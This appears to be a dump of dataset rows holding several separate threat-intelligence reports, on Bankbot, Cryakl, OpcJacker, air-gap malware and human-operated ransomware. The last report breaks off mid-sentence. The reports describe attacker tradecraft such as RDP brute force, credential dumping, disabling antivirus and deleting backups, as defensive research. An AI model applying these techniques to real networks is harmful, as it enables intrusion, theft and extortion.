text
stringlengths
8
115k
# Bankbot on Google Play While hunting for malicious applications out there, we found a banking trojan known as Bankbot in Google Play. It was found in an early stage so it didn't have enough time to spread, but the current status is around 500 installations. Behind this "Downloader for videos," we can find that the true nature of the application is not really watching videos but rather stealing data from users. In the background, once it's executed on the victims' device, it communicates remotely with its Command and Control server. `http://ughdsay3[.]tk` is used as C&C for the banker to communicate. `tuk_tuk.php` and `set_data.php` are common remote files that are used for communications. Also, the communications in this post can be decrypted. At the time of this post, the application has ~500 installations and 9 positive reviews to trick users into trusting the APK. Email used at the Google Play application page: [email protected] Contact: @entdark
# The Return of Fantomas, or How We Deciphered Cryakl **Authors: Kaspersky** In early February this year, Belgian police seized the C&C servers of the infamous Cryakl cryptor. Soon afterwards, they handed over the private keys to our experts, who used them to update the free RakhniDecryptor tool for recovering files encrypted by the malware. The ransomware, which for years had raged across Russia (and elsewhere through partners), was finally stopped. For Kaspersky Lab, this victory was the culmination of more than three years of monitoring Cryakl and studying its various modifications—a major effort that eventually defeated the cybercriminals. This story clearly illustrates how cooperation can, in the end, get the better of any crooked scheme. This spring marked the fourth anniversary of the malware’s first attacks. Against the backdrop of a general decline in ransomware activity, we decided to return to the topic of Cryakl and tell in detail about how one of the most eye-catching members of this endangered species evolved. ## Propagation Methods We first encountered Cryakl (without knowing what it was exactly) in the spring of 2014. The malware had just begun to spread actively, mainly through spam mailings. Initially, attachments with the malware were found in emails allegedly from the Supreme Arbitration Court of the Russian Federation in connection with various offenses. But it wasn’t long before messages started arriving from other organizations too, in particular homeowner associations. A typical malicious email contained an attachment of one of the following types: - Office document with a malicious macro - JS script loading a Trojan - PDF document with a link to an executable It was around this time that the malware acquired its nickname: after encrypting files on the user’s hard drive, one of the Cryakl variants (Trojan-Ransom.Win32.Cryakl.bo) changed the desktop wallpaper to a picture of Fantomas, the villain from the 1964 French film of the same name. Later, in 2016, we discovered an interesting modification of the ransomware with a rather cunning mode of distribution. Today, an attack using specialized third-party software would raise few eyebrows, but it was not par for the course in 2016, when Fantomas was distributed as a script for a popular Russian accounting program and a business process management tool. The approach was indeed sneaky: employees were sent a message with a request to “update the bank classifier,” whereupon they opened the attached executable file. Neither was the attack vector surprising, since Cryakl mainly targeted users in Russia and most of the ransom demands were written in Russian. However, further research showed that the cybercriminals who distributed Fantomas did not limit themselves to the Russian market. In 2016, we observed the growing complexity and variety of ransomware cryptors, including the emergence of ready-made solutions such as Ransomware-as-a-Service (RaaS) for those lacking skills, resources, or time to create their own. Such services were circulated through an expanding and increasingly influential underground ecosystem. This was the business model chosen by Cryakl’s creators: “partners” were invited to purchase the build of the malware to attack users in other regions, allowing its authors to monetize the product for a second time. ### Statistics In expanding its infrastructure, Cryakl also widened its attack geography. From the first infection until today, more than 50,000 people in Russia—plus thousands more in Japan, Italy, and Germany—suffered at the evil hands of Fantomas. Data on Cryakl activity over the years shows that the first signs of life appeared in 2014. At around the time when the RaaS distribution model was deployed, Fantomas was on the rampage, increasing its attacks more than sixfold. ### Distinguishing Features Despite the number and variety of modifications, the use of “partners,” and its long history, the malware cannot be said to have undergone any significant changes—the differences between the various versions were slight. This makes it possible to identify the main features of Fantomas. Cryakl is written in Delphi, but very amateurishly. This immediately jumped out when we took a look at one of the first versions. The file operations were extremely ineffective, and the encryption algorithm was elementary and not secure. We even thought we were dealing with a test build (especially since the internal version was designated 0.0.0.0). The overall impression was that Cryakl’s authors were not the most experienced virus writers. Recall that it all started with mailings about military conscription. The first detected version of the malware did not change the names of the encrypted files, but placed a text structure at the end of each file with the MD5 of the header, the MD5 of the file itself, its original size, offsets, and the sizes of a few encrypted snippets. It ended with the tag {CRYPTENDBLACKDC}, required to distinguish encrypted files from unencrypted ones. Through continued observations over the following months, we regularly discovered ever newer versions of Cryakl: 1.0.0.0, 2.x.0.0, 3.x.0.0, …, 8.0.0.0. Different versions increasingly modified the encryption algorithm as well as the file naming scheme (extensions started to appear of the type: id-{….08.2014 16@02@275587800}[email protected]). The text structure at the end of the file changed multiple times, and new encryption and decryption data as well as various service information were added to it. After that, we found the Cryakl version CL 0.0.0.0 (not to be confused with 0.0.0.0), which had notable changes from previous modifications: besides encrypting parts of the file with a “homebrew” symmetric algorithm, for unknown reasons the Trojan now encrypted other parts with the RSA algorithm. Another marked change was the sending of key data used in the encryption to the attackers’ C&C servers. The structure at the end of the encrypted file was framed with new tags ({ENCRYPTSTART}, {ENCRYPTENDED}), required to determine the encrypted files. In version CL 1.0.0.0, the Trojan stopped sending keys via the Internet. Instead, data required for decryption was now encrypted with RSA and placed in the structure at the end of the file. Nothing changed fundamentally in the subsequent versions CL 1.1.0.0 – CL 1.2.0.0, only the size of the RSA keys increased. This enhanced the overall level of encryption, but did not change the situation radically. Starting with version CL 1.3.0.0, the Trojan (again for unknown reasons) stopped encrypting file regions with RSA. The algorithm was used only to encrypt keys, while file contents were processed by the slightly modified “homebrew” symmetric algorithm. In all versions of the malware, the cybercriminals left various email addresses for communication purposes. These addresses are contained in the names of encrypted files (for example, [email protected] 1.3.1.0.id-….randomname-FFIMEFJCNGATTMVPFKEXCVPICLUDXG.JGZ.lfl) and in the image set by the Trojan as the desktop wallpaper. Victims received reply emails containing a ransom sum in Bitcoin and a cryptocurrency wallet address to make the payment. On receiving the funds, the cybercriminals sent the victim a decryptor tool and a key file. The terms of payment varied: for example, the above-mentioned Trojan-Ransom.Win32.Cryakl.bo set a deadline of 48 hours. Moreover, the cybercriminals did not immediately say how much they wanted in return for their “help,” specifying the cost of the decryptor only in their reply emails. It’s not ruled out that the sum depended on the number and quality of encrypted files. For example, in one case of infection, the cybercriminals demanded $1000. Before doing so, according to victims, they connected to the infected computer and deleted all backup copies on it. ## Fantomas is Slain The problem with Cryakl was that its newest versions employed asymmetric RSA encryption. The malware body contained public keys used to encrypt user data. Without knowledge of the corresponding private keys, we could not develop a decryption tool. The keys seized and handed over by the Belgian police enabled us to decipher several versions of the ransomware. The keys made it possible to reengineer the RakhniDecryptor tool to decrypt files encrypted with the following versions of Cryakl: **Trojan version** | **Cybercriminals’ email** --- | --- CL 1.0.0.0 | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] | [email protected] CL 1.0.0.0.u | [email protected]_graf1 | [email protected]_mod | [email protected]_mod2 CL 1.2.0.0 | [email protected] | [email protected] CL 1.3.0.0 | [email protected] CL 1.3.1.0 | [email protected] | [email protected][email protected] | [email protected]
# New OpcJacker Malware Distributed via Fake VPN ## Overview We discovered a new malware, which we named “OpcJacker” (due to its opcode configuration design and its cryptocurrency hijacking ability), that has been distributed in the wild since the second half of 2022. OpcJacker is an interesting piece of malware, since its configuration file uses a custom file format to define the stealer’s behavior. Specifically, the format resembles custom virtual machine code, where numeric hexadecimal identifiers present in the configuration file make the stealer run desired functions. The purpose of using such a design is likely to make understanding and analyzing the malware’s code flow more difficult for researchers. OpcJacker’s main functions include keylogging, taking screenshots, stealing sensitive data from browsers, loading additional modules, and replacing cryptocurrency addresses in the clipboard for hijacking purposes. ## Delivery We observed OpcJacker being distributed through several different campaigns that usually involve fake websites advertising seemingly legitimate software and cryptocurrency-related applications, but are actually hosting malware. In the latest campaign from February 2023, we noticed OpcJacker being distributed via malvertisements geotargeting Iran. These malvertisements were linked to a malicious website disguised as a website for a legitimate VPN software. The site’s content was copied from the website of a legitimate commercial VPN service — however, the links were modified to link to a compromised website hosting malicious content. The malicious website checks the client’s IP address to determine whether the victim uses a VPN service. If the IP address is not from a VPN service, it then redirects the victim to the second compromised website to lure them into downloading an archive file containing OpcJacker. Note that the attack will not proceed if the intended victim is using a VPN service. Furthermore, we also found a bunch of ISO images and RAR/ZIP archives containing modified installers of various pieces of software that all lead to the loading of OpcJacker. These installers, which were previously used by other campaigns, were hosted on various hacked WordPress-powered websites or software development platforms like GitHub. A possible reason why threat actors favor the use of ISO files is to bypass Mark-of-the-Web warnings. The following are some file name examples we found: - CLF_security.iso - Cloudflare_security_setup.iso - GoldenDict-1.5.0-RC2-372-gc3ff15f-Install.zip - MSI_Afterburner.iso - tigervnc64-winvnc-1.12.0.rar - TradingViewDesktop.zip - XDag.x64.rar Note that the file names mentioned in this section often change between different installers. However, their overall functions remain the same. After the installer drops all the necessary files, it then loads the main executable file (RawDigger.exe), which is a clean legitimate file. The executable file loads a DLL library that includes patched imports (librawf.dll). The patched DLL’s (librawf.dll, which is connected to the legitimate app RawDigger, a raw image analyzer) import address table was further patched to include two additional DLL libraries. The highlighted library in the import address table is then loaded and executed. Its main task is to open one of the data files and load the first stage shellcode stored inside. The offset and size of the first stage shellcode is hardcoded into the DLL library. In newer versions of the Babadeda crypter, another DLL library (mdb.dll, from the fake VPN installer) is loaded into memory, after which a hardcoded, randomly selected block of memory is overwritten with the first stage shellcode. Note that this change is just a small detail and has no influence on the first stage shellcode’s overall function. There is a configuration table containing offsets of encrypted chunks followed by their respective sizes at the end of the first stage shellcode. The first stage shellcode then decrypts and combines all chunks to form the second stage shellcode (a loader) and the main malware (OpcJacker with the ability to load additional malicious modules). ## Main Stealer Component (OpcJacker) The main malware component (OpcJacker) is an interesting stealer that first decrypts and loads its configuration file. The configuration file format resembles a bytecode written in a custom machine language, where each instruction is parsed, individual opcodes are obtained, and then the specific handler is executed. When analyzing the custom bytecode, we noticed the following patterns: ASCII strings were encoded as `01 xx xx xx xx <string bytes>`; where `xx xx xx xx` is the length of the string. Similarly, wide character strings started with byte `02`, while binary arrays started with byte `03`. The configuration file format is a sequence of instructions where instruction starts with three 4-byte little-endian (DWORD) numbers. The first number is the virtual program counter, the second is likely the parent instruction’s virtual program counter, while the third is the handler ID (code to be executed in the virtual machine), followed by data bytes or additional handler IDs. Based on these observations, we wrote an instruction parser, from which we were presented with the following output. Although our observations and understanding of the virtual machine’s internal implementation was incomplete, the parser gave us a good understanding of what behavior was defined in the configuration file. The decrypted and decoded configuration file starts with the initialization of certain system variables, with “test” and “rik” likely being campaign IDs. The configuration file dropped by SHA256 `c5b499e886d8e86d0d85d0f73bc760516e7476442d3def2feeade417926f04a5` contains different keywords “test” and “ilk” as campaign IDs. Meanwhile, the configuration file dropped by the latest campaign from February 2023 (SHA256 `565EA7469F9769DD05C925A3F3EF9A2F9756FF1F35FD154107786BFC63703B52`) contains the keywords “test_installs” and “yorik.” The malware sets up persistence via registry run and task scheduler methods. The malware then starts the clipper function, that is, it monitors the clipboard for cryptocurrency addresses and replaces them with its own cryptocurrency addresses controlled by the attackers. ## Conclusion It seems that OpcJacker’s operator is motivated by financial gain, since the malware’s primary purpose is stealing cryptocurrency funds from wallets. However, its versatile functions also allow OpcJacker to act as an information stealer or a malware loader, meaning it can be used beyond its initial intended use. The campaign IDs we found in the samples, such as “test” and “test_installs”, indicate that OpcJacker could still be under development and testing stages. Given its unique design combined with a variety of VM-like functionalities, it’s possible that the malware could prove to be popular with threat actors, and therefore could see use in future threat campaigns.
# 疑似APT-C-56(透明部落)针对恐怖主义的攻击活动分析 360烽火实验室 360威胁情报中心 收录于合集 - APT 80 个 - APT-C-56 透明部落 5 个 - 间谍软件 4 个 - 南亚地区 21 个
# ESET Research White Papers **TLP: WHITE** **Jumping the Air Gap: 15 Years of Nation-State Effort** **Authors:** Alexis Dorais-Joncas, Facundo Munõz **December 2021** ## 1. Executive Summary Warning: This report contains references to material from the Vault7 leak, which may contain classified information. Air-gapping is used to protect the most sensitive of networks. In the first half of 2020 alone, four previously unknown malicious frameworks designed to breach air-gapped networks were publicly documented. ESET Research decided to revisit each framework known to date and to put them in perspective, side by side. Here are the key findings stemming from this exhaustive study: - All the frameworks are designed to perform some form of espionage. - All the frameworks used USB drives as the physical transmission medium to transfer data in and out of the targeted air-gapped networks. - We have not found any case of actual or suspected use of covert physical transmission mediums, such as acoustic or electromagnetic signals. - Over 75% of all the frameworks used malicious LNK or autorun files on USB drives to either perform the initial air-gapped system compromise or to move laterally within the air-gapped network. - More than 10 critical severity LNK-related remote code execution vulnerabilities in Windows have been discovered and patched by Microsoft in the last 10 years. - All the frameworks were built to attack Windows systems. We have not found any evidence of actual or suspected malware components built to target other operating systems. In this white paper, we will describe how malware frameworks targeting air-gapped networks operate and provide a side-by-side comparison of their most important TTPs. We also propose a series of detection and mitigation techniques to protect air-gapped networks from the main techniques used by all the malicious frameworks publicly known to date. ## 2. Introduction Air-gapping is used to protect the most sensitive of networks: voting systems, industrial control systems (ICSes) running power grids, and SCADA systems operating nuclear centrifuges, just to name a few. In the first half of 2020 alone, four malicious frameworks designed to breach air-gapped networks emerged, bringing the total, by our count, to 17. This prompted us to step back and revisit each of those frameworks from the vantage point of having discovered and analyzed firsthand three of these in the past six years. Using the knowledge made public by more than 10 different organizations over the years, and some ad hoc analysis to clarify or confirm some technical details, we put the frameworks in perspective to see what history could teach us in order to improve air-gapped network security and our abilities to detect and mitigate future attacks. This exhaustive study allowed us to isolate several major similarities in all of them, even those produced 15 years apart. Specifically, we focused our attention on the malware execution mechanisms used on both the connected and the air-gapped side of targeted networks and the malware functionalities within the air-gapped network (persistence, reconnaissance, propagation, espionage, and—at least in one case—sabotage activities), with a focus on the communication and exfiltration channels used to cross the air gap barrier and control the components running on the isolated networks. This also resulted in a systematic analysis structure that may be reused to document air-gapped malware that is discovered in the future. Despite some differences and nuances found across all frameworks studied, our analysis shows how most differ on many of those aspects only from an implementation perspective, mostly due to the severe constraints imposed by air-gapped environments. Armed with this information, we will highlight some detection opportunities specific to the actual techniques observed in the wild. Our aim is to convince the reader of the importance of having all the proper defense mechanisms to mitigate the techniques used by virtually all of these frameworks that have been observed in the wild, before starting to look into the many theoretical air gap bypass techniques that have received a lot of attention in recent years despite none of them ever being used in a real, publicly disclosed attack. ## 3. Victimology, Attacker Profiles, Timeline An air-gapped network is one that is physically isolated from any other networks in order to increase its security. Air-gapping is a technique used to protect networks interconnecting the most sensitive and high-value systems within an organization, systems that are naturally of high interest to numerous attackers, including any and all APT groups. We can state without fear of contradiction that threat actors behind the known malware frameworks designed to attack air-gapped networks all belong to the advanced persistent threat (APT) category. Some frameworks have been attributed to well-defined, well-known threat actors: - DarkHotel - Sednit - Tropic Trooper - Retro - USBStealer - USBFerry - Ramsay - Goblin Panda - Mustang Panda - Equation Group - USBCulprit - PlugX For others, the attribution has been less clear-cut, speculative, or controversial. Agent.BTZ, for example, has been attributed to Turla, but other experts are not so convinced. Finally, we have a trilogy of frameworks that constitute our special cases: these frameworks have been found in documentation from the Vault7 leaks and are described to have been in operation in a time range from 2013 to 2016; however, we haven’t found samples in the wild to analyze firsthand. - EZCheese - Emotional Simian - Brutal Kangaroo Despite the variety of threat actors behind these frameworks, all of them shared a common purpose: espionage. Even Stuxnet, best known for its sabotage capabilities, collected information about Siemens Simatic Step 7 engineering software projects found in compromised machines. Due to the nature of its target and its capabilities to operate and propagate, Stuxnet has often been referred to as the first malware designed to attack systems in air-gapped networks. However, research published years after the Stuxnet discovery determined with reasonable confidence that a sample of Sednit’s USB-Stealer dates from 2005. This timeline highlights an important point: - The majority of the frameworks were active for many years before being noticed, analyzed, and reported publicly. Contrary to the many malware families that play cat-and-mouse with security researchers by evolving even after they are exposed, most air-gapped frameworks haven’t remained active long after the first analysis was published. This can be explained either by the fact that the analysis caused the attackers to consider their tool burned and to stop using it, or that the discovery and analysis happened after the framework stopped being used for unrelated reasons. There is also the unsettling possibility that antimalware solutions in those networks did not get updated and hadn’t been able to detect these threats. ## 4. Anatomy of Air-Gapped Systems — A Malware Perspective Attack and compromise of systems in air-gapped networks require the attackers to develop capabilities that enable their tools to communicate via channels that are not commonly required in normal operations. It’s obvious: they have to contend with the fact that these networks are isolated from the internet. In this section, we discuss those specific areas where air-gapped malware tends to operate. Before we begin, it is important to note that attacks against air-gapped networks are not all done in the same way and, in fact, there is no precise definition of what “air-gapped malware” actually is from the purely technical perspective. This sparked some lively discussions internally, until we finally agreed upon—for the purpose of this paper—the following definition for air-gapped network malware: Malware, or a set of malware components acting together (a framework), that implements an offline, covert communication mechanism between an air-gapped system and the attacker that can be either bi-directional (command and response) or unidirectional (data exfiltration only). Some frameworks have been left out intentionally from this study because we could not reliably determine that they fit in our definition. For example, it has been reported that DarkHotel has used Asruex since 2015 to attack isolated networks; however, publicly available reports do not provide enough technical evidence demonstrating the presence of the minimal requirements needed to satisfy our working definition. Interestingly, all the known frameworks were designed to attack Windows systems only. Let’s “zoom out” and have a look at the big picture. We decided to separate the frameworks into two broad categories: connected and offline. Most frameworks are built to provide fully remote end-to-end connectivity between the attacker and the compromised systems on the air-gapped side. We call these “connected frameworks.” The general operating schema looks like this: **Connected Side** - Initial compromise - Weaponize USB drives - Exfiltrate data - Send further commands - Extract results **Air Gap** - Compromise air-gapped system - Perform reconnaissance and information stealing **Air-gapped Side** - Connected bidirectional communication channel In this scenario, the attack first targets an internet-connected system that is used alongside an air-gapped network. Once compromised, that system is used to weaponize USB drives with a malicious payload and some mechanism to compromise the next target: the air-gapped system. This is usually made possible because the USB drive is used to transfer information between both sides, in most cases by an unsuspecting victim. The payload running on the air-gapped system usually comes with reconnaissance and information stealing capabilities, whose output is stored back onto a USB drive. When the USB drive reaches the compromised connected system, its contents are extracted and the data is exfiltrated to the attacker via the Internet. Some frameworks go one step further and support a two-way communication protocol: through a compromised system in the connected side, the attacker sends commands to the malware placed on the air-gapped network; this is done via a covert communication channel often placed on a USB drive. These are the most powerful frameworks, granting the attackers the ability to run arbitrary code inside air-gapped networks. In the other, rarer cases such as Ramsay and USBThief, the attack scenario does not involve any internet-connected systems at all. We call these “offline frameworks.” In these cases, everything indicates the presence of an operator or collaborator on the ground to perform the actions usually done by the connected part of connected frameworks, such as preparing the initial malicious USB drive responsible for the execution on the air-gapped side, executing the malware on the air-gapped system, extracting the exfiltrated data from the drive, and sending additional commands to the air-gapped side. ## 4.1 Connected Side Execution Vector For connected frameworks, the first step to successfully compromise the air-gapped network is to get a foothold on a system that has internet connectivity. Unfortunately, when it comes to APTs, it’s not always possible to know exactly how this happened but for the cases that we do know, the methods observed do not differ much from what we see in general malware: emails with malicious attachments, links, or USB worms. **Compromise Method** - USBStealer: Suspected spearphishing with malicious attachments. - Agent.BTZ: Spreads by copying itself to USB drives with an autorun.inf file as execution vector. - Stuxnet: Unknown. - Fanny: Unknown. - miniFlame: Unknown. - Flame: Suspected exploit used for the initial compromise of a potential victim. - Gauss: Unknown. - USBFerry: Malicious software installer in attachment. - USBCulprit: Email exploiting vulnerabilities. - Retro: Spearphishing with documents that exploit vulnerabilities. - PlugX: Spearphishing with ZIP archive containing a malicious LNK file. ## 4.2 Air-Gapped Side Initial Execution Vector All frameworks have devised their own ways to reach the target air-gapped network and execute malware on a first system. They all have one thing in common, though: they all used weaponized USB drives. The main difference between connected and offline frameworks is how the drive is weaponized in the first place. Connected frameworks usually deploy a component on the connected system that will monitor the insertion of new USB drives and automatically place the malicious component needed to compromise the air-gapped system. Offline frameworks, on the other hand, rely on the attacker intentionally weaponizing their own USB drive. **Automated Execution** Getting malicious code executed just by connecting a malicious USB drive into a computer is the most effective technique to compromise an air-gapped system. **Exploitation of LNK-Related Vulnerabilities** Malicious LNK files are usually used as the exploit to trigger a vulnerability in old components of Windows, such as the Windows Shell, that allow the malware to get remote code execution with no user action required other than viewing the LNK file in Windows Explorer. The most famous vulnerability is without a doubt CVE-2010-2568, aka the “Stuxnet LNK exploit.” But Stuxnet is far from the only framework to have used that vulnerability to gain initial access to air-gapped networks. In fact, it was later discovered that Fanny had used that exploit even before Stuxnet. LNK-related vulnerabilities are an extremely powerful way to spread malware because they have the potential to allow code to execute without user interaction upon USB drive insertion in vulnerable systems. ## 4.3 Air-Gapped Side Functionalities **Persistence** When it comes to persistence, these frameworks can be divided into two groups: 1. Persistent: Designed to install and persist in new systems and continue collecting data for later exfiltration. 2. Non-persistent: Designed for in-memory reconnaissance; collects information that is staged on the USB drive for exfiltration. There are no known special techniques designed for persistence in air-gapped machines. Most frameworks just employ persistence based in the Windows registry to get executed at system startup or loaded when a process is created via hijacking. **Reconnaissance and Espionage Activities** Once an attacker gains access to a new air-gapped system, reconnaissance and espionage activities can be started. Attackers usually do not have direct control over which specific air-gapped system will become compromised, as this largely depends on which system an unsuspecting user will connect the malicious USB drive to. Frameworks gather information such as computer name, username, domain name, list of running processes, listing of files in directories, drives, and network shares, as well as network configuration information that can help the attacker plan for lateral movement. ## 5. Defending Air-Gapped Networks It goes without saying that defending air-gapped networks against cyberattacks is a very complex topic that involves several disciplines. It is far from our intention to claim that we have a magical solution to this problem. That being said, there is value in understanding how known frameworks operate in air-gapped environments and deriving ways to detect and block common malicious activities. This section presents ideas to detect and block malicious activities that are common to a significant portion of the studied frameworks. None of them are revolutionary, but we hope that our data-driven approach will help defenders prioritize their defense mechanisms. ### 5.1 Protection Opportunity #1: Prevent Email Access on Connected Hosts In the connected side system compromise section, we have seen how several frameworks used connected side systems that are used in conjunction with air-gapped networks as the initial point of entry into targeted air-gapped networks. Naturally, those systems should be treated as such and hardened with strict security measures. ### 5.2 Protection Opportunity #2: Disable USB Ports on Air-Gapped Systems Physically removing or disabling USB ports on all the systems running in an air-gapped network is the ultimate protection that would have prevented all the 17 frameworks from succeeding. However, doing so comes with an important usability drawback. ### 5.3 Protection Opportunity #3: Sanitize USB Drives Before Insertion in Air-Gapped Systems A USB drive sanitization process performed before any USB drive gets inserted into air-gapped systems could disrupt many of the techniques implemented by the studied frameworks. ### 5.4 Perform a Malware Scan Even with LNK and autorun.inf files gone, some frameworks would still pose a threat in a different way. Systematically scanning, on the connected side, all USB drives with an up-to-date antimalware product would provide a baseline layer of protection before the files get to the air-gapped side.
# Human-operated Ransomware Attacks: A Preventable Disaster Human-operated ransomware campaigns pose a significant and growing threat to businesses and represent one of the most impactful trends in cyberattacks today. In these hands-on-keyboard attacks, adversaries employ credential theft and lateral movement methods traditionally associated with targeted attacks. They exhibit extensive knowledge of systems administration and common network security misconfigurations, perform thorough reconnaissance, and adapt to what they discover in a compromised network. These attacks take advantage of network configuration weaknesses and vulnerable services to deploy ransomware payloads. While ransomware is the visible action taken in these attacks, human operators also deliver other malicious payloads, steal credentials, and exfiltrate data from compromised networks. News about ransomware attacks often focus on the downtimes they cause, the ransom payments, and the details of the ransomware payload, leaving out details of the long-running campaigns and preventable domain compromises that allow these human-operated attacks to succeed. Based on investigations, these campaigns appear unconcerned with stealth and have shown that they could operate unfettered in networks. Human operators compromise accounts with higher privileges, escalate privileges, or use credential dumping techniques to establish a foothold on machines and continue infiltrating target environments. Human-operated ransomware campaigns often start with “commodity malware” like banking Trojans or “unsophisticated” attack vectors that typically trigger multiple detection alerts; however, these tend to be triaged as unimportant and therefore not thoroughly investigated and remediated. The initial payloads are frequently stopped by antivirus solutions, but attackers just deploy a different payload or use administrative access to disable the antivirus without attracting the attention of incident responders or security operations centers (SOCs). Some well-known human-operated ransomware campaigns include REvil, Samas, Bitpaymer, and Ryuk. Microsoft actively monitors these and other long-running human-operated ransomware campaigns, which have overlapping attack patterns. They take advantage of similar security weaknesses, highlighting a few key lessons in security, notably that these attacks are often preventable and detectable. ## PARINACOTA Group: Smash-and-Grab Monetization Campaigns One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. Microsoft has been tracking this group for some time, now referring to them as PARINACOTA, using a new naming designation for digital crime actors based on global volcanoes. PARINACOTA impacts three to four organizations every week and appears quite resourceful. During the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group’s goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, attempting to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA’s attacks typically brute force their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges. We gained insight into these attacks by investigating compromised infrastructure that the group often utilizes to proxy attacks onto their next targets. To find targets, the group scans the internet for machines that listen on RDP port 3389. The attackers do this from compromised machines using tools like Masscan.exe, which can find vulnerable machines on the entire internet in under six minutes. Once a vulnerable target is found, the group proceeds with a brute force attack using tools like NLbrute.exe or ForcerX, starting with common usernames like ‘admin’, ‘administrator’, ‘guest’, or ‘test’. After successfully gaining access to a network, the group tests the compromised machine for internet connectivity and processing capacity. They determine if the machine meets certain requirements before using it to conduct subsequent RDP brute force attacks against other targets. This tactic gives them access to additional infrastructure that is less likely to be blocked. The group has been observed leaving their tools running on compromised machines for months on end. On machines that the group doesn’t use for subsequent RDP brute-force attacks, they proceed with a separate set of actions. This technique helps the attackers evade reputation-based detection, which may block their scanning boxes; it also preserves their command-and-control (C2) infrastructure. In addition, PARINACOTA utilizes administrative privileges gained via stolen credentials to turn off or stop any running services that might lead to their detection. Tamper protection in Microsoft Defender ATP prevents malicious and unauthorized changes to settings, including antivirus solutions and cloud-based detection capabilities. After disabling security solutions, the group often downloads a ZIP archive that contains dozens of well-known attacker tools and batch files for credential theft, persistence, reconnaissance, and other activities without fear of the next stages of the attack being prevented. With these tools and batch files, the group clears event logs using wevutil.exe, as well as conducts extensive reconnaissance on the machine and the network, typically looking for opportunities to move laterally using common network scanning tools. When necessary, the group elevates privileges from local administrator to SYSTEM using accessibility features in conjunction with a batch file or exploit-laden files named after the specific CVEs they impact, also known as the “Sticky Keys” attack. The group dumps credentials from the LSASS process, using tools like Mimikatz and ProcDump, to gain access to matching local administrator passwords or service accounts with high privileges that may be used to start as a scheduled task or service, or even used interactively. PARINACOTA then uses the same remote desktop session to exfiltrate acquired credentials. The group also attempts to get credentials for specific banking or financial websites, using findstr.exe to check for cookies associated with these sites. With credentials on hand, PARINACOTA establishes persistence using various methods, including: - Registry modifications using .bat or .reg files to allow RDP connections - Setting up access through existing remote assistance apps or installing a backdoor - Creating new local accounts and adding them to the local administrators group To determine the type of payload to deploy, PARINACOTA uses tools like Process Hacker to identify active processes. The attackers don’t always install ransomware immediately; they have been observed installing coin miners and using massmail.exe to run spam campaigns, essentially using corporate networks as distributed computing infrastructure for profit. The group, however, eventually returns to the same machines after a few weeks to install ransomware. The group performs the same general activities to deliver the ransomware payload: - Plants a malicious HTA file using various autostart extensibility points (ASEPs), often the registry Run keys or the Startup folder. The HTA file displays ransom payment instructions. - Deletes local backups using tools to stifle recovery of ransomed files. - Stops active services that might interfere with encryption using various tools. PARINACOTA has recently mostly dropped the Wadhrama ransomware, which leaves a ransom note after encrypting target files. In several observed cases, targeted organizations that were able to resolve ransomware infections were unable to fully remove persistence mechanisms, allowing the group to come back and deploy ransomware again. PARINACOTA routinely uses Monero coin miners on compromised machines, allowing them to collect uniform returns regardless of the type of machine they access. Monero is popular among cybercriminals for its privacy benefits. As for the ransomware component, we have seen reports of the group charging anywhere from 0.5 to 2 Bitcoins per compromised machine. This varies depending on what the attackers know about the organization and the assets that they have compromised. The ransom amount is adjusted based on the likelihood the organization will pay due to impact to their company or the perceived importance of the target. ## Doppelpaymer: Ransomware Follows Dridex Doppelpaymer ransomware recently caused havoc in several highly publicized attacks against various organizations around the world. Some of these attacks involved large ransom demands, with attackers asking for millions of dollars in some cases. Doppelpaymer ransomware, like Wadhrama, Samas, LockerGoga, and Bitpaymer before it, does not have inherent worm capabilities. Human operators manually spread it within compromised networks using stolen credentials for privileged accounts along with common tools like PsExec and Group Policy. They often abuse service accounts, including accounts used to manage security products, that have domain admin privileges to run native commands, often stopping antivirus software and other security controls. The presence of banking Trojans like Dridex on machines compromised by Doppelpaymer points to the possibility that Dridex (or other malware) is introduced during earlier attack stages through fake updaters, malicious documents in phishing emails, or even by being delivered via the Emotet botnet. While Dridex is likely used as initial access for delivering Doppelpaymer on machines in affected networks, most of the same networks contain artifacts indicating RDP brute force. This is in addition to numerous indicators of credential theft and the use of reconnaissance tools. Investigators have found artifacts indicating that affected networks have been compromised in some manner by various attackers for several months before the ransomware is deployed, showing that these attacks are successful and unresolved in networks where diligence in security controls and monitoring is not applied. The use of numerous attack methods reflects how attackers freely operate without disruption, even when available endpoint detection and response (EDR) and endpoint protection platform (EPP) sensors already detect their activities. In many cases, some machines run without standard safeguards, like security updates and cloud-delivered antivirus protection. There is also the lack of credential hygiene, over-privileged accounts, predictable local administrator and RDP passwords, and unattended EDR alerts for suspicious activities. The success of attacks relies on whether campaign operators manage to gain control over domain accounts with elevated privileges after establishing initial access. Attackers utilize various methods to gain access to privileged accounts, including common credential theft tools like Mimikatz and LaZagne. Microsoft has also observed the use of the Sysinternals tool ProcDump to obtain credentials from LSASS process memory. Attackers might also use LSASecretsView or a similar tool to access credentials stored in the LSA secrets portion of the registry. Campaign operators continually steal credentials, progressively gaining higher privileges until they control a domain administrator-level account. In some cases, operators create new accounts and grant Remote Desktop privileges to those accounts. Apart from securing privileged accounts, attackers use other ways of establishing persistent access to compromised systems. In several cases, affected machines are observed launching a base64-encoded PowerShell Empire script that connects to a C2 server, providing attackers with persistent control over the machines. Limited evidence suggests that attackers set up WMI persistence mechanisms, possibly during earlier breaches, to launch PowerShell Empire. After obtaining adequate credentials, attackers perform extensive reconnaissance of machines and running software to identify 